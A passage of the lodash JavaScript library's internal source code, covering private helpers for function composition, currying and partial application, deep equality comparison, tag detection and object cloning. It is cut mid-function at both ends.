    function createFind(findIndexFunc) {
      return function(collection, predicate, fromIndex) {
        var iterable = Object(collection);
        if (!isArrayLike(collection)) {
          var iteratee = getIteratee(predicate, 3);
          collection = keys(collection);
          predicate = function(key) { return iteratee(iterable[key], key, iterable); };
        }
        var index = findIndexFunc(collection, predicate, fromIndex);
        return index > -1 ? iterable[iteratee ? collection[index] : index] : undefined;
      };
    }

    /**
     * Creates a `_.flow` or `_.flowRight` function.
     *
     * @private
     * @param {boolean} [fromRight] Specify iterating from right to left.
     * @returns {Function} Returns the new flow function.
     */
    function createFlow(fromRight) {
      return flatRest(function(funcs) {
        var length = funcs.length,
            index = length,
            prereq = LodashWrapper.prototype.thru;

        if (fromRight) {
          funcs.reverse();
        }
        while (index--) {
          var func = funcs[index];
          if (typeof func != 'function') {
            throw new TypeError(FUNC_ERROR_TEXT);
          }
          if (prereq && !wrapper && getFuncName(func) == 'wrapper') {
            var wrapper = new LodashWrapper([], true);
          }
        }
        index = wrapper ? index : length;
        while (++index < length) {
          func = funcs[index];

          var funcName = getFuncName(func),
              data = funcName == 'wrapper' ? getData(func) : undefined;

          if (data && isLaziable(data[0]) &&
                data[1] == (WRAP_ARY_FLAG | WRAP_CURRY_FLAG | WRAP_PARTIAL_FLAG | WRAP_REARG_FLAG) &&
                !data[4].length && data[9] == 1
              ) {
            wrapper = wrapper[getFuncName(data[0])].apply(wrapper, data[3]);
          } else {
            wrapper = (func.length == 1 && isLaziable(func))
              ? wrapper[funcName]()
              : wrapper.thru(func);
          }
        }
        return function() {
          var args = arguments,
              value = args[0];

          if (wrapper && args.length == 1 && isArray(value)) {
            return wrapper.plant(value).value();
          }
          var index = 0,
              result = length ? funcs[index].apply(this, args) : value;

          while (++index < length) {
            result = funcs[index].call(this, result);
          }
          return result;
        };
      });
    }

    /**
     * Creates a function that wraps `func` to invoke it with optional `this`
     * binding of `thisArg`, partial application, and currying.
     *
     * @private
     * @param {Function|string} func The function or method name to wrap.
     * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
     * @param {*} [thisArg] The `this` binding of `func`.
     * @param {Array} [partials] The arguments to prepend to those provided to
     *  the new function.
     * @param {Array} [holders] The `partials` placeholder indexes.
     * @param {Array} [partialsRight] The arguments to append to those provided
     *  to the new function.
     * @param {Array} [holdersRight] The `partialsRight` placeholder indexes.
     * @param {Array} [argPos] The argument positions of the new function.
     * @param {number} [ary] The arity cap of `func`.
     * @param {number} [arity] The arity of `func`.
     * @returns {Function} Returns the new wrapped function.
     */
    function createHybrid(func, bitmask, thisArg, partials, holders, partialsRight, holdersRight, argPos, ary, arity) {
      var isAry = bitmask & WRAP_ARY_FLAG,
          isBind = bitmask & WRAP_BIND_FLAG,
          isBindKey = bitmask & WRAP_BIND_KEY_FLAG,
          isCurried = bitmask & (WRAP_CURRY_FLAG | WRAP_CURRY_RIGHT_FLAG),
          isFlip = bitmask & WRAP_FLIP_FLAG,
          Ctor = isBindKey ? undefined : createCtor(func);

      function wrapper() {
        var length = arguments.length,
            args = Array(length),
            index = length;

        while (index--) {
          args[index] = arguments[index];
        }
        if (isCurried) {
          var placeholder = getHolder(wrapper),
              holdersCount = countHolders(args, placeholder);
        }
        if (partials) {
          args = composeArgs(args, partials, holders, isCurried);
        }
        if (partialsRight) {
          args = composeArgsRight(args, partialsRight, holdersRight, isCurried);
        }
        length -= holdersCount;
        if (isCurried && length < arity) {
          var newHolders = replaceHolders(args, placeholder);
          return createRecurry(
            func, bitmask, createHybrid, wrapper.placeholder, thisArg,
            args, newHolders, argPos, ary, arity - length
          );
        }
        var thisBinding = isBind ? thisArg : this,
            fn = isBindKey ? thisBinding[func] : func;

        length = args.length;
        if (argPos) {
          args = reorder(args, argPos);
        } else if (isFlip && length > 1) {
          args.reverse();
        }
        if (isAry && ary < length) {
          args.length = ary;
        }
        if (this && this !== root && this instanceof wrapper) {
          fn = Ctor || createCtor(fn);
        }
        return fn.apply(thisBinding, args);
      }
      return wrapper;
    }

    /**
     * Creates a function like `_.invertBy`.
     *
     * @private
     * @param {Function} setter The function to set accumulator values.
     * @param {Function} toIteratee The function to resolve iteratees.
     * @returns {Function} Returns the new inverter function.
     */
    function createInverter(setter, toIteratee) {
      return function(object, iteratee) {
        return baseInverter(object, setter, toIteratee(iteratee), {});
      };
    }

    /**
     * Creates a function that performs a mathematical operation on two values.
     *
     * @private
     * @param {Function} operator The function to perform the operation.
     * @param {number} [defaultValue] The value used for `undefined` arguments.
     * @returns {Function} Returns the new mathematical operation function.
     */
    function createMathOperation(operator, defaultValue) {
      return function(value, other) {
        var result;
        if (value === undefined && other === undefined) {
          return defaultValue;
        }
        if (value !== undefined) {
          result = value;
        }
        if (other !== undefined) {
          if (result === undefined) {
            return other;
          }
          if (typeof value == 'string' || typeof other == 'string') {
            value = baseToString(value);
            other = baseToString(other);
          } else {
            value = baseToNumber(value);
            other = baseToNumber(other);
          }
          result = operator(value, other);
        }
        return result;
      };
    }

    /**
     * Creates a function like `_.over`.
     *
     * @private
     * @param {Function} arrayFunc The function to iterate over iteratees.
     * @returns {Function} Returns the new over function.
     */
    function createOver(arrayFunc) {
      return flatRest(function(iteratees) {
        iteratees = arrayMap(iteratees, baseUnary(getIteratee()));
        return baseRest(function(args) {
          var thisArg = this;
          return arrayFunc(iteratees, function(iteratee) {
            return apply(iteratee, thisArg, args);
          });
        });
      });
    }

    /**
     * Creates the padding for `string` based on `length`. The `chars` string
     * is truncated if the number of characters exceeds `length`.
     *
     * @private
     * @param {number} length The padding length.
     * @param {string} [chars=' '] The string used as padding.
     * @returns {string} Returns the padding for `string`.
     */
    function createPadding(length, chars) {
      chars = chars === undefined ? ' ' : baseToString(chars);

      var charsLength = chars.length;
      if (charsLength < 2) {
        return charsLength ? baseRepeat(chars, length) : chars;
      }
      var result = baseRepeat(chars, nativeCeil(length / stringSize(chars)));
      return hasUnicode(chars)
        ? castSlice(stringToArray(result), 0, length).join('')
        : result.slice(0, length);
    }

    /**
     * Creates a function that wraps `func` to invoke it with the `this` binding
     * of `thisArg` and `partials` prepended to the arguments it receives.
     *
     * @private
     * @param {Function} func The function to wrap.
     * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
     * @param {*} thisArg The `this` binding of `func`.
     * @param {Array} partials The arguments to prepend to those provided to
     *  the new function.
     * @returns {Function} Returns the new wrapped function.
     */
    function createPartial(func, bitmask, thisArg, partials) {
      var isBind = bitmask & WRAP_BIND_FLAG,
          Ctor = createCtor(func);

      function wrapper() {
        var argsIndex = -1,
            argsLength = arguments.length,
            leftIndex = -1,
            leftLength = partials.length,
            args = Array(leftLength + argsLength),
            fn = (this && this !== root && this instanceof wrapper) ? Ctor : func;

        while (++leftIndex < leftLength) {
          args[leftIndex] = partials[leftIndex];
        }
        while (argsLength--) {
          args[leftIndex++] = arguments[++argsIndex];
        }
        return apply(fn, isBind ? thisArg : this, args);
      }
      return wrapper;
    }

    /**
     * Creates a `_.range` or `_.rangeRight` function.
     *
     * @private
     * @param {boolean} [fromRight] Specify iterating from right to left.
     * @returns {Function} Returns the new range function.
     */
    function createRange(fromRight) {
      return function(start, end, step) {
        if (step && typeof step != 'number' && isIterateeCall(start, end, step)) {
          end = step = undefined;
        }
        // Ensure the sign of `-0` is preserved.
        start = toFinite(start);
        if (end === undefined) {
          end = start;
          start = 0;
        } else {
          end = toFinite(end);
        }
        step = step === undefined ? (start < end ? 1 : -1) : toFinite(step);
        return baseRange(start, end, step, fromRight);
      };
    }

    /**
     * Creates a function that performs a relational operation on two values.
     *
     * @private
     * @param {Function} operator The function to perform the operation.
     * @returns {Function} Returns the new relational operation function.
     */
    function createRelationalOperation(operator) {
      return function(value, other) {
        if (!(typeof value == 'string' && typeof other == 'string')) {
          value = toNumber(value);
          other = toNumber(other);
        }
        return operator(value, other);
      };
    }

    /**
     * Creates a function that wraps `func` to continue currying.
     *
     * @private
     * @param {Function} func The function to wrap.
     * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
     * @param {Function} wrapFunc The function to create the `func` wrapper.
     * @param {*} placeholder The placeholder value.
     * @param {*} [thisArg] The `this` binding of `func`.
     * @param {Array} [partials] The arguments to prepend to those provided to
     *  the new function.
     * @param {Array} [holders] The `partials` placeholder indexes.
     * @param {Array} [argPos] The argument positions of the new function.
     * @param {number} [ary] The arity cap of `func`.
     * @param {number} [arity] The arity of `func`.
     * @returns {Function} Returns the new wrapped function.
     */
    function createRecurry(func, bitmask, wrapFunc, placeholder, thisArg, partials, holders, argPos, ary, arity) {
      var isCurry = bitmask & WRAP_CURRY_FLAG,
          newHolders = isCurry ? holders : undefined,
          newHoldersRight = isCurry ? undefined : holders,
          newPartials = isCurry ? partials : undefined,
          newPartialsRight = isCurry ? undefined : partials;

      bitmask |= (isCurry ? WRAP_PARTIAL_FLAG : WRAP_PARTIAL_RIGHT_FLAG);
      bitmask &= ~(isCurry ? WRAP_PARTIAL_RIGHT_FLAG : WRAP_PARTIAL_FLAG);

      if (!(bitmask & WRAP_CURRY_BOUND_FLAG)) {
        bitmask &= ~(WRAP_BIND_FLAG | WRAP_BIND_KEY_FLAG);
      }
      var newData = [
        func, bitmask, thisArg, newPartials, newHolders, newPartialsRight,
        newHoldersRight, argPos, ary, arity
      ];

      var result = wrapFunc.apply(undefined, newData);
      if (isLaziable(func)) {
        setData(result, newData);
      }
      result.placeholder = placeholder;
      return setWrapToString(result, func, bitmask);
    }

    /**
     * Creates a function like `_.round`.
     *
     * @private
     * @param {string} methodName The name of the `Math` method to use when rounding.
     * @returns {Function} Returns the new round function.
     */
    function createRound(methodName) {
      var func = Math[methodName];
      return function(number, precision) {
        number = toNumber(number);
        precision = precision == null ? 0 : nativeMin(toInteger(precision), 292);
        if (precision && nativeIsFinite(number)) {
          // Shift with exponential notation to avoid floating-point issues.
          // See [MDN](https://mdn.io/round#Examples) for more details.
          var pair = (toString(number) + 'e').split('e'),
              value = func(pair[0] + 'e' + (+pair[1] + precision));

          pair = (toString(value) + 'e').split('e');
          return +(pair[0] + 'e' + (+pair[1] - precision));
        }
        return func(number);
      };
    }

    /**
     * Creates a set object of `values`.
     *
     * @private
     * @param {Array} values The values to add to the set.
     * @returns {Object} Returns the new set.
     */
    var createSet = !(Set && (1 / setToArray(new Set([,-0]))[1]) == INFINITY) ? noop : function(values) {
      return new Set(values);
    };

    /**
     * Creates a `_.toPairs` or `_.toPairsIn` function.
     *
     * @private
     * @param {Function} keysFunc The function to get the keys of a given object.
     * @returns {Function} Returns the new pairs function.
     */
    function createToPairs(keysFunc) {
      return function(object) {
        var tag = getTag(object);
        if (tag == mapTag) {
          return mapToArray(object);
        }
        if (tag == setTag) {
          return setToPairs(object);
        }
        return baseToPairs(object, keysFunc(object));
      };
    }

    /**
     * Creates a function that either curries or invokes `func` with optional
     * `this` binding and partially applied arguments.
     *
     * @private
     * @param {Function|string} func The function or method name to wrap.
     * @param {number} bitmask The bitmask flags.
     *    1 - `_.bind`
     *    2 - `_.bindKey`
     *    4 - `_.curry` or `_.curryRight` of a bound function
     *    8 - `_.curry`
     *   16 - `_.curryRight`
     *   32 - `_.partial`
     *   64 - `_.partialRight`
     *  128 - `_.rearg`
     *  256 - `_.ary`
     *  512 - `_.flip`
     * @param {*} [thisArg] The `this` binding of `func`.
     * @param {Array} [partials] The arguments to be partially applied.
     * @param {Array} [holders] The `partials` placeholder indexes.
     * @param {Array} [argPos] The argument positions of the new function.
     * @param {number} [ary] The arity cap of `func`.
     * @param {number} [arity] The arity of `func`.
     * @returns {Function} Returns the new wrapped function.
     */
    function createWrap(func, bitmask, thisArg, partials, holders, argPos, ary, arity) {
      var isBindKey = bitmask & WRAP_BIND_KEY_FLAG;
      if (!isBindKey && typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      var length = partials ? partials.length : 0;
      if (!length) {
        bitmask &= ~(WRAP_PARTIAL_FLAG | WRAP_PARTIAL_RIGHT_FLAG);
        partials = holders = undefined;
      }
      ary = ary === undefined ? ary : nativeMax(toInteger(ary), 0);
      arity = arity === undefined ? arity : toInteger(arity);
      length -= holders ? holders.length : 0;

      if (bitmask & WRAP_PARTIAL_RIGHT_FLAG) {
        var partialsRight = partials,
            holdersRight = holders;

        partials = holders = undefined;
      }
      var data = isBindKey ? undefined : getData(func);

      var newData = [
        func, bitmask, thisArg, partials, holders, partialsRight, holdersRight,
        argPos, ary, arity
      ];

      if (data) {
        mergeData(newData, data);
      }
      func = newData[0];
      bitmask = newData[1];
      thisArg = newData[2];
      partials = newData[3];
      holders = newData[4];
      arity = newData[9] = newData[9] === undefined
        ? (isBindKey ? 0 : func.length)
        : nativeMax(newData[9] - length, 0);

      if (!arity && bitmask & (WRAP_CURRY_FLAG | WRAP_CURRY_RIGHT_FLAG)) {
        bitmask &= ~(WRAP_CURRY_FLAG | WRAP_CURRY_RIGHT_FLAG);
      }
      if (!bitmask || bitmask == WRAP_BIND_FLAG) {
        var result = createBind(func, bitmask, thisArg);
      } else if (bitmask == WRAP_CURRY_FLAG || bitmask == WRAP_CURRY_RIGHT_FLAG) {
        result = createCurry(func, bitmask, arity);
      } else if ((bitmask == WRAP_PARTIAL_FLAG || bitmask == (WRAP_BIND_FLAG | WRAP_PARTIAL_FLAG)) && !holders.length) {
        result = createPartial(func, bitmask, thisArg, partials);
      } else {
        result = createHybrid.apply(undefined, newData);
      }
      var setter = data ? baseSetData : setData;
      return setWrapToString(setter(result, newData), func, bitmask);
    }

    /**
     * Used by `_.defaults` to customize its `_.assignIn` use to assign properties
     * of source objects to the destination object for all destination properties
     * that resolve to `undefined`.
     *
     * @private
     * @param {*} objValue The destination value.
     * @param {*} srcValue The source value.
     * @param {string} key The key of the property to assign.
     * @param {Object} object The parent object of `objValue`.
     * @returns {*} Returns the value to assign.
     */
    function customDefaultsAssignIn(objValue, srcValue, key, object) {
      if (objValue === undefined ||
          (eq(objValue, objectProto[key]) && !hasOwnProperty.call(object, key))) {
        return srcValue;
      }
      return objValue;
    }

    /**
     * Used by `_.defaultsDeep` to customize its `_.merge` use to merge source
     * objects into destination objects that are passed thru.
     *
     * @private
     * @param {*} objValue The destination value.
     * @param {*} srcValue The source value.
     * @param {string} key The key of the property to merge.
     * @param {Object} object The parent object of `objValue`.
     * @param {Object} source The parent object of `srcValue`.
     * @param {Object} [stack] Tracks traversed source values and their merged
     *  counterparts.
     * @returns {*} Returns the value to assign.
     */
    function customDefaultsMerge(objValue, srcValue, key, object, source, stack) {
      if (isObject(objValue) && isObject(srcValue)) {
        // Recursively merge objects and arrays (susceptible to call stack limits).
        stack.set(srcValue, objValue);
        baseMerge(objValue, srcValue, undefined, customDefaultsMerge, stack);
        stack['delete'](srcValue);
      }
      return objValue;
    }

    /**
     * Used by `_.omit` to customize its `_.cloneDeep` use to only clone plain
     * objects.
     *
     * @private
     * @param {*} value The value to inspect.
     * @param {string} key The key of the property to inspect.
     * @returns {*} Returns the uncloned value or `undefined` to defer cloning to `_.cloneDeep`.
     */
    function customOmitClone(value) {
      return isPlainObject(value) ? undefined : value;
    }

    /**
     * A specialized version of `baseIsEqualDeep` for arrays with support for
     * partial deep comparisons.
     *
     * @private
     * @param {Array} array The array to compare.
     * @param {Array} other The other array to compare.
     * @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
     * @param {Function} customizer The function to customize comparisons.
     * @param {Function} equalFunc The function to determine equivalents of values.
     * @param {Object} stack Tracks traversed `array` and `other` objects.
     * @returns {boolean} Returns `true` if the arrays are equivalent, else `false`.
     */
    function equalArrays(array, other, bitmask, customizer, equalFunc, stack) {
      var isPartial = bitmask & COMPARE_PARTIAL_FLAG,
          arrLength = array.length,
          othLength = other.length;

      if (arrLength != othLength && !(isPartial && othLength > arrLength)) {
        return false;
      }
      // Check that cyclic values are equal.
      var arrStacked = stack.get(array);
      var othStacked = stack.get(other);
      if (arrStacked && othStacked) {
        return arrStacked == other && othStacked == array;
      }
      var index = -1,
          result = true,
          seen = (bitmask & COMPARE_UNORDERED_FLAG) ? new SetCache : undefined;

      stack.set(array, other);
      stack.set(other, array);

      // Ignore non-index properties.
      while (++index < arrLength) {
        var arrValue = array[index],
            othValue = other[index];

        if (customizer) {
          var compared = isPartial
            ? customizer(othValue, arrValue, index, other, array, stack)
            : customizer(arrValue, othValue, index, array, other, stack);
        }
        if (compared !== undefined) {
          if (compared) {
            continue;
          }
          result = false;
          break;
        }
        // Recursively compare arrays (susceptible to call stack limits).
        if (seen) {
          if (!arraySome(other, function(othValue, othIndex) {
                if (!cacheHas(seen, othIndex) &&
                    (arrValue === othValue || equalFunc(arrValue, othValue, bitmask, customizer, stack))) {
                  return seen.push(othIndex);
                }
              })) {
            result = false;
            break;
          }
        } else if (!(
              arrValue === othValue ||
                equalFunc(arrValue, othValue, bitmask, customizer, stack)
            )) {
          result = false;
          break;
        }
      }
      stack['delete'](array);
      stack['delete'](other);
      return result;
    }

    /**
     * A specialized version of `baseIsEqualDeep` for comparing objects of
     * the same `toStringTag`.
     *
     * **Note:** This function only supports comparing values with tags of
     * `Boolean`, `Date`, `Error`, `Number`, `RegExp`, or `String`.
     *
     * @private
     * @param {Object} object The object to compare.
     * @param {Object} other The other object to compare.
     * @param {string} tag The `toStringTag` of the objects to compare.
     * @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
     * @param {Function} customizer The function to customize comparisons.
     * @param {Function} equalFunc The function to determine equivalents of values.
     * @param {Object} stack Tracks traversed `object` and `other` objects.
     * @returns {boolean} Returns `true` if the objects are equivalent, else `false`.
     */
    function equalByTag(object, other, tag, bitmask, customizer, equalFunc, stack) {
      switch (tag) {
        case dataViewTag:
          if ((object.byteLength != other.byteLength) ||
              (object.byteOffset != other.byteOffset)) {
            return false;
          }
          object = object.buffer;
          other = other.buffer;

        case arrayBufferTag:
          if ((object.byteLength != other.byteLength) ||
              !equalFunc(new Uint8Array(object), new Uint8Array(other))) {
            return false;
          }
          return true;

        case boolTag:
        case dateTag:
        case numberTag:
          // Coerce booleans to `1` or `0` and dates to milliseconds.
          // Invalid dates are coerced to `NaN`.
          return eq(+object, +other);

        case errorTag:
          return object.name == other.name && object.message == other.message;

        case regexpTag:
        case stringTag:
          // Coerce regexes to strings and treat strings, primitives and objects,
          // as equal. See http://www.ecma-international.org/ecma-262/7.0/#sec-regexp.prototype.tostring
          // for more details.
          return object == (other + '');

        case mapTag:
          var convert = mapToArray;

        case setTag:
          var isPartial = bitmask & COMPARE_PARTIAL_FLAG;
          convert || (convert = setToArray);

          if (object.size != other.size && !isPartial) {
            return false;
          }
          // Assume cyclic values are equal.
          var stacked = stack.get(object);
          if (stacked) {
            return stacked == other;
          }
          bitmask |= COMPARE_UNORDERED_FLAG;

          // Recursively compare objects (susceptible to call stack limits).
          stack.set(object, other);
          var result = equalArrays(convert(object), convert(other), bitmask, customizer, equalFunc, stack);
          stack['delete'](object);
          return result;

        case symbolTag:
          if (symbolValueOf) {
            return symbolValueOf.call(object) == symbolValueOf.call(other);
          }
      }
      return false;
    }

    /**
     * A specialized version of `baseIsEqualDeep` for objects with support for
     * partial deep comparisons.
     *
     * @private
     * @param {Object} object The object to compare.
     * @param {Object} other The other object to compare.
     * @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
     * @param {Function} customizer The function to customize comparisons.
     * @param {Function} equalFunc The function to determine equivalents of values.
     * @param {Object} stack Tracks traversed `object` and `other` objects.
     * @returns {boolean} Returns `true` if the objects are equivalent, else `false`.
     */
    function equalObjects(object, other, bitmask, customizer, equalFunc, stack) {
      var isPartial = bitmask & COMPARE_PARTIAL_FLAG,
          objProps = getAllKeys(object),
          objLength = objProps.length,
          othProps = getAllKeys(other),
          othLength = othProps.length;

      if (objLength != othLength && !isPartial) {
        return false;
      }
      var index = objLength;
      while (index--) {
        var key = objProps[index];
        if (!(isPartial ? key in other : hasOwnProperty.call(other, key))) {
          return false;
        }
      }
      // Check that cyclic values are equal.
      var objStacked = stack.get(object);
      var othStacked = stack.get(other);
      if (objStacked && othStacked) {
        return objStacked == other && othStacked == object;
      }
      var result = true;
      stack.set(object, other);
      stack.set(other, object);

      var skipCtor = isPartial;
      while (++index < objLength) {
        key = objProps[index];
        var objValue = object[key],
            othValue = other[key];

        if (customizer) {
          var compared = isPartial
            ? customizer(othValue, objValue, key, other, object, stack)
            : customizer(objValue, othValue, key, object, other, stack);
        }
        // Recursively compare objects (susceptible to call stack limits).
        if (!(compared === undefined
              ? (objValue === othValue || equalFunc(objValue, othValue, bitmask, customizer, stack))
              : compared
            )) {
          result = false;
          break;
        }
        skipCtor || (skipCtor = key == 'constructor');
      }
      if (result && !skipCtor) {
        var objCtor = object.constructor,
            othCtor = other.constructor;

        // Non `Object` object instances with different constructors are not equal.
        if (objCtor != othCtor &&
            ('constructor' in object && 'constructor' in other) &&
            !(typeof objCtor == 'function' && objCtor instanceof objCtor &&
              typeof othCtor == 'function' && othCtor instanceof othCtor)) {
          result = false;
        }
      }
      stack['delete'](object);
      stack['delete'](other);
      return result;
    }

    /**
     * A specialized version of `baseRest` which flattens the rest array.
     *
     * @private
     * @param {Function} func The function to apply a rest parameter to.
     * @returns {Function} Returns the new function.
     */
    function flatRest(func) {
      return setToString(overRest(func, undefined, flatten), func + '');
    }

    /**
     * Creates an array of own enumerable property names and symbols of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property names and symbols.
     */
    function getAllKeys(object) {
      return baseGetAllKeys(object, keys, getSymbols);
    }

    /**
     * Creates an array of own and inherited enumerable property names and
     * symbols of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property names and symbols.
     */
    function getAllKeysIn(object) {
      return baseGetAllKeys(object, keysIn, getSymbolsIn);
    }

    /**
     * Gets metadata for `func`.
     *
     * @private
     * @param {Function} func The function to query.
     * @returns {*} Returns the metadata for `func`.
     */
    var getData = !metaMap ? noop : function(func) {
      return metaMap.get(func);
    };

    /**
     * Gets the name of `func`.
     *
     * @private
     * @param {Function} func The function to query.
     * @returns {string} Returns the function name.
     */
    function getFuncName(func) {
      var result = (func.name + ''),
          array = realNames[result],
          length = hasOwnProperty.call(realNames, result) ? array.length : 0;

      while (length--) {
        var data = array[length],
            otherFunc = data.func;
        if (otherFunc == null || otherFunc == func) {
          return data.name;
        }
      }
      return result;
    }

    /**
     * Gets the argument placeholder value for `func`.
     *
     * @private
     * @param {Function} func The function to inspect.
     * @returns {*} Returns the placeholder value.
     */
    function getHolder(func) {
      var object = hasOwnProperty.call(lodash, 'placeholder') ? lodash : func;
      return object.placeholder;
    }

    /**
     * Gets the appropriate "iteratee" function. If `_.iteratee` is customized,
     * this function returns the custom method, otherwise it returns `baseIteratee`.
     * If arguments are provided, the chosen function is invoked with them and
     * its result is returned.
     *
     * @private
     * @param {*} [value] The value to convert to an iteratee.
     * @param {number} [arity] The arity of the created iteratee.
     * @returns {Function} Returns the chosen function or its result.
     */
    function getIteratee() {
      var result = lodash.iteratee || iteratee;
      result = result === iteratee ? baseIteratee : result;
      return arguments.length ? result(arguments[0], arguments[1]) : result;
    }

    /**
     * Gets the data for `map`.
     *
     * @private
     * @param {Object} map The map to query.
     * @param {string} key The reference key.
     * @returns {*} Returns the map data.
     */
    function getMapData(map, key) {
      var data = map.__data__;
      return isKeyable(key)
        ? data[typeof key == 'string' ? 'string' : 'hash']
        : data.map;
    }

    /**
     * Gets the property names, values, and compare flags of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the match data of `object`.
     */
    function getMatchData(object) {
      var result = keys(object),
          length = result.length;

      while (length--) {
        var key = result[length],
            value = object[key];

        result[length] = [key, value, isStrictComparable(value)];
      }
      return result;
    }

    /**
     * Gets the native function at `key` of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @param {string} key The key of the method to get.
     * @returns {*} Returns the function if it's native, else `undefined`.
     */
    function getNative(object, key) {
      var value = getValue(object, key);
      return baseIsNative(value) ? value : undefined;
    }

    /**
     * A specialized version of `baseGetTag` which ignores `Symbol.toStringTag` values.
     *
     * @private
     * @param {*} value The value to query.
     * @returns {string} Returns the raw `toStringTag`.
     */
    function getRawTag(value) {
      var isOwn = hasOwnProperty.call(value, symToStringTag),
          tag = value[symToStringTag];

      try {
        value[symToStringTag] = undefined;
        var unmasked = true;
      } catch (e) {}

      var result = nativeObjectToString.call(value);
      if (unmasked) {
        if (isOwn) {
          value[symToStringTag] = tag;
        } else {
          delete value[symToStringTag];
        }
      }
      return result;
    }

    /**
     * Creates an array of the own enumerable symbols of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of symbols.
     */
    var getSymbols = !nativeGetSymbols ? stubArray : function(object) {
      if (object == null) {
        return [];
      }
      object = Object(object);
      return arrayFilter(nativeGetSymbols(object), function(symbol) {
        return propertyIsEnumerable.call(object, symbol);
      });
    };

    /**
     * Creates an array of the own and inherited enumerable symbols of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of symbols.
     */
    var getSymbolsIn = !nativeGetSymbols ? stubArray : function(object) {
      var result = [];
      while (object) {
        arrayPush(result, getSymbols(object));
        object = getPrototype(object);
      }
      return result;
    };

    /**
     * Gets the `toStringTag` of `value`.
     *
     * @private
     * @param {*} value The value to query.
     * @returns {string} Returns the `toStringTag`.
     */
    var getTag = baseGetTag;

    // Fallback for data views, maps, sets, and weak maps in IE 11 and promises in Node.js < 6.
    if ((DataView && getTag(new DataView(new ArrayBuffer(1))) != dataViewTag) ||
        (Map && getTag(new Map) != mapTag) ||
        (Promise && getTag(Promise.resolve()) != promiseTag) ||
        (Set && getTag(new Set) != setTag) ||
        (WeakMap && getTag(new WeakMap) != weakMapTag)) {
      getTag = function(value) {
        var result = baseGetTag(value),
            Ctor = result == objectTag ? value.constructor : undefined,
            ctorString = Ctor ? toSource(Ctor) : '';

        if (ctorString) {
          switch (ctorString) {
            case dataViewCtorString: return dataViewTag;
            case mapCtorString: return mapTag;
            case promiseCtorString: return promiseTag;
            case setCtorString: return setTag;
            case weakMapCtorString: return weakMapTag;
          }
        }
        return result;
      };
    }

    /**
     * Gets the view, applying any `transforms` to the `start` and `end` positions.
     *
     * @private
     * @param {number} start The start of the view.
     * @param {number} end The end of the view.
     * @param {Array} transforms The transformations to apply to the view.
     * @returns {Object} Returns an object containing the `start` and `end`
     *  positions of the view.
     */
    function getView(start, end, transforms) {
      var index = -1,
          length = transforms.length;

      while (++index < length) {
        var data = transforms[index],
            size = data.size;

        switch (data.type) {
          case 'drop':      start += size; break;
          case 'dropRight': end -= size; break;
          case 'take':      end = nativeMin(end, start + size); break;
          case 'takeRight': start = nativeMax(start, end - size); break;
        }
      }
      return { 'start': start, 'end': end };
    }

    /**
     * Extracts wrapper details from the `source` body comment.
     *
     * @private
     * @param {string} source The source to inspect.
     * @returns {Array} Returns the wrapper details.
     */
    function getWrapDetails(source) {
      var match = source.match(reWrapDetails);
      return match ? match[1].split(reSplitDetails) : [];
    }

    /**
     * Checks if `path` exists on `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @param {Array|string} path The path to check.
     * @param {Function} hasFunc The function to check properties.
     * @returns {boolean} Returns `true` if `path` exists, else `false`.
     */
    function hasPath(object, path, hasFunc) {
      path = castPath(path, object);

      var index = -1,
          length = path.length,
          result = false;

      while (++index < length) {
        var key = toKey(path[index]);
        if (!(result = object != null && hasFunc(object, key))) {
          break;
        }
        object = object[key];
      }
      if (result || ++index != length) {
        return result;
      }
      length = object == null ? 0 : object.length;
      return !!length && isLength(length) && isIndex(key, length) &&
        (isArray(object) || isArguments(object));
    }

    /**
     * Initializes an array clone.
     *
     * @private
     * @param {Array} array The array to clone.
     * @returns {Array} Returns the initialized clone.
     */
    function initCloneArray(array) {
      var length = array.length,
          result = new array.constructor(length);

      // Add properties assigned by `RegExp#exec`.
      if (length && typeof array[0] == 'string' && hasOwnProperty.call(array, 'index')) {
        result.index = array.index;
        result.input = array.input;
      }
      return result;
    }

    /**
     * Initializes an object clone.
     *
     * @private
     * @param {Object} object The object to clone.
     * @returns {Object} Returns the initialized clone.
     */
    function initCloneObject(object) {
      return (typeof object.constructor == 'function' && !isPrototype(object))
        ? baseCreate(getPrototype(object))
        : {};
    }

    /**
     * Initializes an object clone based on its `toStringTag`.
     *
     * **Note:** This function only supports cloning values with tags of
     * `Boolean`, `Date`, `Error`, `Map`, `Number`, `RegExp`, `Set`, or `String`.
     *
     * @private
     * @param {Object} object The object to clone.
     * @param {string} tag The `toStringTag` of the object to clone.
     * @param {boolean} [isDeep] Specify a deep clone.
     * @returns {Object} Returns the initialized clone.
     */
    function initCloneByTag(object, tag, isDeep) {
      var Ctor = object.constructor;
      switch (tag) {
        case arrayBufferTag:
          return cloneArrayBuffer(object);

        case boolTag:
        case dateTag:
          return new Ctor(+object);

        case dataViewTag:
          return cloneDataView(object, isDeep);

        case float32Tag: case float64Tag:
        case int8Tag: case int16Tag: case int32Tag:
        case uint8Tag: case uint8ClampedTag: case uint16Tag: case uint32Tag:
          return cloneTypedArray(object, isDeep);

        case mapTag:
          return new Ctor;

        case numberTag:
        case stringTag:
          return new Ctor(object);

        case regexpTag:
          return cloneRegExp(object);

        case setTag:
          return new Ctor;

        case symbolTag:
          return cloneSymbol(object);
      }
    }

    /**
     * Inserts wrapper `details` in a comment at the top of the `source` body.
     *
     * @private
     * @param {string} source The source to modify.
     * @returns {Array} details The details to insert.
     * @returns {string} Returns the modified source.
     */
    function insertWrapDetails(source, details) {
      var length = details.length;
      if (!length) {
        return source;
      }
      var lastIndex = length - 1;
      details[lastIndex] = (length > 1 ? '& ' : '') + details[lastIndex];
      details = details.join(length > 2 ? ', ' : ' ');
